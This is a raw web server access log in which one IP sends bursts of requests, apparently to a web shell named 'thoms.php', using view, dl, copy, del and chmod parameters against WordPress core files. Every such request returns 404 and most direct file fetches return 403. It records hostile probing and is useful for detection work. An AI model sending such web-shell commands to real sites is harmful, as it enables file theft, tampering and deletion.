45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frobots-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frobots-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?dl=comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?dl=media.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?del=IXR&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=IXR&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /biotaiwan.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?dl=option.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=option.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?chmod=pomo&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?del=class-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /biotaiwan.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:07 -0400] "GET /biotaiwan.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?del=pluggable.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?dl=capabilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /biotaiwan.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?del=revision.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?dl=template-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?dl=class-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:08 -0400] "GET /biotaiwan.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fembed-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fembed-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?chmod=rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?chmod=session.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?dl=class-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /biotaiwan.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=ms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?dl=ms-files.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=Requests&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Requests&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
